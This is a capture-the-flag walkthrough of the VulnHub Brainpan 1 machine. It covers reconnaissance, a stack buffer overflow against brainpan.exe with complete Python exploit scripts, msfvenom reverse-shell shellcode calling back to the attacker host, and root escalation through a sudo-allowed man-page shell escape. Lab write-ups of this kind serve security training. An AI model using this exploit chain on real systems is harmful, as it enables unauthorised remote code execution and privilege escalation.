# Brainpain (BoF)

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FlyPZ7K0BddKq1E2ZCvVf%2Fimage.png?alt=media&#x26;token=3f3236ad-c6ad-4a5c-ae37-655d80ca2598" alt=""><figcaption><p><a href="https://www.vulnhub.com/entry/brainpan-1,51/">https://www.vulnhub.com/entry/brainpan-1,51/</a></p></figcaption></figure></div>

🔗 [Brainpain 1](https://www.vulnhub.com/entry/brainpan-1,51/)

<details>

<summary>readme.txt (Disclaimer and Setup)</summary>

#### Description

```
 _               _                         
| |__  _ __ __ _(_)_ __  _ __   __ _ _ __  
| '_ \| '__/ _` | | '_ \| '_ \ / _` | '_ \ 
| |_) | | | (_| | | | | | |_) | (_| | | | |
|_.__/|_|  \__,_|_|_| |_| .__/ \__,_|_| |_|
                        |_|                
                            by superkojiman  
                 http://www.techorganic.com

DISCLAIMER
----------
By using this virtual machine, you agree that in no event will I be liable 
for any loss or damage including without limitation, indirect or 
consequential loss or damage, or any loss or damage whatsoever arising 
from loss of data or profits arising out of or in connection with the use 
of this software.

TL;DR: If something bad happens, it's not my fault.



SETUP
-----
Brainpan has been tested and found to work on the following hypervisors:
-    VMware Player 5.0.1
-    VMWare Fusion 5.0
-    VirtualBox 4.2.8

Import Brainpan into your preferred hypervisor and configure the network 
settings to your needs. It will get an IP address via DHCP, but it's 
recommended you run it within a NAT or visible to the host OS only since it
is vulnerable to attacks.
```

Source: Brainpan.zip/readme.txt

```
MD5 (brainpan.ova) = fc0f163220b9884df5dcc9cdc45361e4
```

Source: Brainpan.zip/md5.txt

Exclusive to VulnHub!

</details>

<details>

<summary>How to install Wine and Ollydbg on Linux</summary>

<https://computingforgeeks.com/how-to-install-wine-on-debian/>

<https://www.kali.org/tools/ollydbg/> or `sudo apt install ollydbg`

</details>

{% hint style="info" %}
In alternative you can install others sw such as: [Immunity Debugger ](https://www.immunityinc.com/products/debugger/)and execute it using Wine on Linux OS or on [Windows OS](https://www.microsoft.com/es-es/software-download/windows10) (in this case you should transfer the executable brainpain.exe).
{% endhint %}

<details>

<summary>How to install Mona modules (optional)</summary>

* Download Mona modules from here: <https://github.com/corelan/mona/blob/master/mona.py>
* Extract archive downloaded and copy the mona.py file to OllyDBG/ImmDBG PyCommands folder.

</details>

## Task 1 - Deploy the machine

Deploy attacker machine (Kali) and Brainpain machine on VirtualBox, Vmware or on a compatible emulator:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FowTG5kVLJBaL5f4hjb8U%2Fimage.png?alt=media&#x26;token=09e94ecd-35a7-42ef-a804-193fc19d73ab" alt=""><figcaption></figcaption></figure>

and check relative IPs:

🐲 Attacker/Kali IP: `192.168.56.7`  obtained using `ip a`&#x20;

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FoOv70WfImhuPPbVetrZN%2Fimage.png?alt=media&#x26;token=7562417f-5b58-4245-b470-34c282e69d4f" alt=""><figcaption></figcaption></figure>

The Brainpain VM is on the same subnet, than we do host discovery with nmap or arp-scan only in our subnet: `nmap 192.168.56.0/24`

```bash
Nmap scan report for 192.168.56.8
Host is up (0.00015s latency).
```

🎯 Target IP: `192.168.56.8`

Create a directory for machine on the Desktop and a directory containing the scans with nmap.

## Task 2 - Reconnaissance

<pre class="language-bash"><code class="lang-bash">su
<strong>echo "192.168.56.8 brainpain" >> /etc/hosts
</strong>
mkdir -p vulnhub/brainpain
cd vulnhub/brainpain
<strong>mkdir {nmap,content,exploits,scripts}
</strong># At the end of the room
# To clean up the last line from the /etc/hosts file
<strong>sed -i '$ d' /etc/hosts
</strong></code></pre>

I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.

```bash
ping -c 3 brainpain
PING brainpain (192.168.56.8) 56(84) bytes of data.
64 bytes from brainpain (192.168.56.8): icmp_seq=1 ttl=64 time=0.670 ms
64 bytes from brainpain (192.168.56.8): icmp_seq=2 ttl=64 time=0.441 ms
64 bytes from brainpain (192.168.56.8): icmp_seq=3 ttl=64 time=0.390 ms
```

Sending these three ICMP packets, we see that the Time To Live (TTL) is \~64 secs. this indicates that the target is a \*nix system, while Windows systems usually have a TTL of 128 secs.

### 2.1 Ports in listening and relative services

```bash
nmap --open -p0- -sS -n -Pn -vvv --min-rate 5000 brainpain -oG nmap/port_scan
```

```bash
PORT      STATE SERVICE          REASON
9999/tcp  open  abyss            syn-ack ttl 64
10000/tcp open  snet-sensor-mgmt syn-ack ttl 64
```

There're two open port, analyze them searching more info about services version and potential vulns:

```bash
nmap --open -p 9999,10000 -sCV -n -Pn -vvv -A brainpain -oN nmap/open_port
```

```bash
PORT      STATE SERVICE REASON         VERSION
9999/tcp  open  abyss?  syn-ack ttl 64
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=12/30%Time=65906D34%P=x86_64-pc-linux-gnu%
SF:r(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\
SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\
SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x
SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x
SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINP
SF:AN\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENT
SF:ER\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
```

<table><thead><tr><th width="154.99999999999997">command</th><th>result</th></tr></thead><tbody><tr><td>sC</td><td>run default scripts</td></tr><tr><td>sV</td><td>enumerate versions</td></tr><tr><td>A</td><td>aggressive mode</td></tr><tr><td>Pn</td><td>no ping</td></tr><tr><td>oN</td><td>output to file with nmap formatting</td></tr></tbody></table>

We see that on port 1000 there's a web server, than we can try to open it on a browser.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F6j0vAiFq9lYW53k5susx%2Fimage.png?alt=media&#x26;token=78c0ad96-d241-4b08-8747-fad296218fcd" alt=""><figcaption></figcaption></figure>

and this is relative page source code:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FF48us6JfRKOdxt49MUXO%2Fimage.png?alt=media&#x26;token=c7f87c8d-d200-43cb-93cc-2ce47ca5751d" alt=""><figcaption></figcaption></figure>

We can see that it is a static page with only an image included.

While on port 9999 there's an hypotetic login form, but without possibility to insert input.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fe0PctbOK1zngIYkLy96P%2Fimage.png?alt=media&#x26;token=a03d2e17-c618-4746-83a9-0c2dcf5db32b" alt=""><figcaption></figcaption></figure>

Now, we try to find potential hidden directory using gobuster:

```bash
gobuster dir -u http://brainpain:10000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
```

```bash
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://brainpain:10000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin                  (Status: 301) [Size: 0] [--> /bin/]
Progress: 199331 / 220561 (90.37%)[ERROR] Get "http://brainpain:10000/OpenDoorLogoShadow": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```

and we find an interesting path: <http://brainpain:10000/bin/>

Going to it we find an interesting file exe, that we can download in locally:

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FdziXFDdfUNzJXPJ6xT8W%2Fimage.png?alt=media&#x26;token=20c1f1ad-d059-4f34-93d8-f1c487554996" alt=""><figcaption></figcaption></figure>

Check more info about executable using command file:

```bash
file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, 5 sections
```

that confirms exe windows file. Run it using windows emulator (wine):

```bash
wine brainpan.exe
```

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FEtpVv0L5HJ04YPfeTL5i%2Fimage.png?alt=media&#x26;token=a349b981-f854-479c-8c8c-f16542eb07cf" alt=""><figcaption></figcaption></figure></div>

Program was waiting a connection on port 9999, then we can use netcat on localhost and the same port:

```bash
nc 127.0.0.1 9999
```

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FfHu2BiB4MIDPAzAnihiY%2Fimage.png?alt=media&#x26;token=13d08f80-125c-42c3-8351-b85c0f4f9939" alt=""><figcaption></figcaption></figure>

now we can interact with login shell and insert psw (that we don't know).

Reading first tab page, after psw input we can see output that displays: \[get\_reply] copied 9 bytes to buffer. It means that program returns output of copied bytes to buffer and we can use it to test potential BoF vulnerability.

## Task 3 - BoF Exploitation

### 3.1 Fuzzing

We can try to test sw using a fuzzer script in python:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1500
```

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fmp4ng00laT0uucWzEg3K%2Fimage.png?alt=media&#x26;token=ad85e4d5-821f-4bb0-b439-b81810f8294a" alt=""><figcaption></figcaption></figure>

add it into offset variable of our script:

```python
#!/usr/bin/python
import socket, sys
from struct import pack
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 9999))
offset = b"Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1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><figcaption></figcaption></figure>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FIseeW2z3jbZHr5bYhoBs%2Fimage.png?alt=media&#x26;token=7d9a4a5a-2b02-4eca-9e70-19eb65c901d0" alt=""><figcaption></figcaption></figure>

program was crashed and we need to copy value of EIP register

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Frko1VLcqDZppwsDm8ZYw%2Fimage.png?alt=media&#x26;token=3fb0c9d8-3c73-4b55-9dd2-1b3aaff5dc45" alt=""><figcaption></figcaption></figure></div>

EIP value in hexadecimal: 35724134

Now, we need to use pattern\_offset ruby script with EIP value to calculate correct number of byte needed to crash app:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
```

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FfRppcv7acRwYjfTXbsPX%2Fimage.png?alt=media&#x26;token=69c91896-003a-4658-acc0-495e7228887c" alt=""><figcaption></figcaption></figure></div>

Output means that program cashes after 524 bytes.

### 3.2 Control EIP

Our scope is to overwrite EIP register and put into command to jump to ESP register (where we'll insert our payload/shellcode) and force execution, then we can try to put into EIP register 4 character of letter B (42 hex), using fuzzer below:

```python
#!/usr/bin/python
import socket, sys
from struct import pack
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 9999))
offset = b"A" * 524
eip = b"B" * 4
buffer = offset + eip
sock.send(buffer)
sock.close()
```

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FbbbTM7DAffvfvaIOv4S1%2Fimage.png?alt=media&#x26;token=4897341c-c665-405b-aa20-42673da34eba" alt=""><figcaption></figcaption></figure></div>

Now we've insert 524 letter A (41 hex) and 4 letter B (42 hex), infact we can see that EIP value is: 42424242.

Next goal is to overwrite EIP putting JMP ESP value, then find JMP ESP address

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FB14i33iYMnqlSluRXer8%2Fimage.png?alt=media&#x26;token=0a9af402-6182-4e9f-bf5c-002fc1b03721" alt=""><figcaption></figcaption></figure></div>

JMP ESP address is: 311712F3, to convert in little endian format: \xF3\x12\x17\x31

In the next fuzzer script we need to add this value to EIP and put 400 letter C to ESP (400 because payload usually is 350 bytes):

```python
#!/usr/bin/python
import socket, sys
from struct import pack
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 9999))
offset = b"A" * 524
eip = b'\xF3\x12\x17\x31'
esp = b"C" * 400
buffer = offset + eip + esp
sock.send(buffer)
sock.close()
```

<details>

<summary>Badchars Check (Optional for this lab)</summary>

We already have control over the EIP, the next step will be to know the BADCHARS. Basically we need to know which characters are bad or invalid for the payload. These characters are those that could interfere with the execution of our payload or cause unexpected behavior.

There are several ways to create them, we can go to [Badchars – GitHub](https://github.com/cytopia/badchars) and copy the badchars into our script.

</details>

{% embed url="<https://github.com/cytopia/badchars>" %}

All right, ow we need to replace the 400 C's of the ESP with our shellcode:

### 3.3 Shellcode generation

```bash
msfvenom -p linux/x86/shell/reverse_tcp -b \x00 LHOST=192.168.56.7 LPORT=5555 -f python
```

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FbnmHgfYDlJGQgbPYeLli%2Fimage.png?alt=media&#x26;token=b1882a99-855b-42a4-99b1-fed7e95068d6" alt=""><figcaption></figcaption></figure>

in the below script to prevent i've add before shellcode a sequence of NOP chars to prevent the inexact memory addresses matter. NOP sleds help align the actual shellcode to a specific memory address. In some cases, the payload needs to be aligned to a particular memory boundary for successful execution. NOP sleds provide a flexible way to achieve this alignment. Of course NOP operations will be not executed and program will pass directly to our shell code inserted into buf variable.

```bash
#!/usr/bin/python
import socket, sys
from struct import pack
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[1], 9999))
offset = b"A" * 524
eip = b'\xF3\x12\x17\x31'
nop_chars = b'\x90' * 20
buf =  b""
buf += b"\xb8\x7e\xbd\x16\xa7\xdb\xc4\xd9\x74\x24\xf4\x5a"
buf += b"\x2b\xc9\xb1\x1f\x31\x42\x15\x03\x42\x15\x83\xea"
buf += b"\xfc\xe2\x8b\xd7\x1c\xf9\x42\xf3\xd6\xe6\xf7\x40"
buf += b"\x4a\x83\xf5\xf6\x0a\xda\x18\x3b\x52\x4b\x81\xac"
buf += b"\x93\xdc\x0d\x2a\x7c\x1f\x6d\x21\xcf\x96\x8c\x23"
buf += b"\x49\xf1\x1e\xe5\xc2\x88\x7f\x46\x20\x0a\xfa\x89"
buf += b"\xc3\x12\x4a\x7e\x09\x4d\xf0\x7e\x71\x8d\xac\x14"
buf += b"\x71\xe7\x49\x60\x92\xc6\x98\xbf\xd5\xac\xda\x39"
buf += b"\x6b\x45\xfd\x0b\x94\x23\x01\x7c\x9b\x53\x88\x9f"
buf += b"\x5a\xb8\x86\x9e\xbe\x33\x26\x5d\x8c\xcc\xc3\x5e"
buf += b"\x76\xdd\x90\xd7\x66\x44\x94\xcc\xd8\x74\x15\x8c"
buf += b"\x9c\xbb\xdd\x8f\x61\xda\xa5\x91\x9d\x1d\xd5\x2a"
buf += b"\x9c\x1d\xd5\x4c\x52\x9d"
buffer = offset + eip + nop_chars + buf
sock.send(buffer)
sock.close()
```

First to execute it, we need to listening it on the same port of shellcode IP and PORT running a multi handler on msfconsole:&#x20;

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FEVZqxwOI2rOHsaxqcGDW%2Fimage.png?alt=media&#x26;token=a63f9ddc-a29b-4a8e-973e-90d864522eba" alt=""><figcaption></figcaption></figure></div>

Then we can run our shellcode script to brainpain machine (192.168.56.8):

```bash
python3 shellcode.py 192.168.56.8
```

Connection was established on port 5555, and we've obtained a reverse shell

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FYIglpsd5Ow8gfNoI2DOG%2Fimage.png?alt=media&#x26;token=1be9c11e-cbf6-4a7d-949a-6d1b9d72b3ab" alt=""><figcaption></figcaption></figure>

## Task 4 - Privilege Escalation

```bash
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty; pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
```

We can execute `/home/anansi/bin/anansi_util` as root:

```bash
sudo -u root /home/anansi/bin/anansi_util
```

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fe7vTntG6f7Wo278sTGSp%2Fimage.png?alt=media&#x26;token=b06b8d66-9d31-4fe4-8e3c-ef692539455d" alt=""><figcaption></figcaption></figure></div>

The program accepts manual option + command. Taking tentatives i can see that manual refers to linux man function. Then, i can use it to open a man page regarding a command (e.g. ls) and inserit into a `!/bin/sh` to became root.&#x20;

```bash
sudo -u root /home/anansi/bin/anansi_util manual ls
```

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FydnvORTbGI6VkeIjYgMa%2Fimage.png?alt=media&#x26;token=cd3fd542-c22f-4f14-a86a-017cab527492" alt=""><figcaption></figcaption></figure></div>

save it, and we'll obtain root permissions!

<div align="left"><figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2Fj1WPAqa5GidvAInjfdE3%2Fimage.png?alt=media&#x26;token=be3a7964-e06e-42c4-a64a-94a2b4160e58" alt=""><figcaption></figcaption></figure></div>
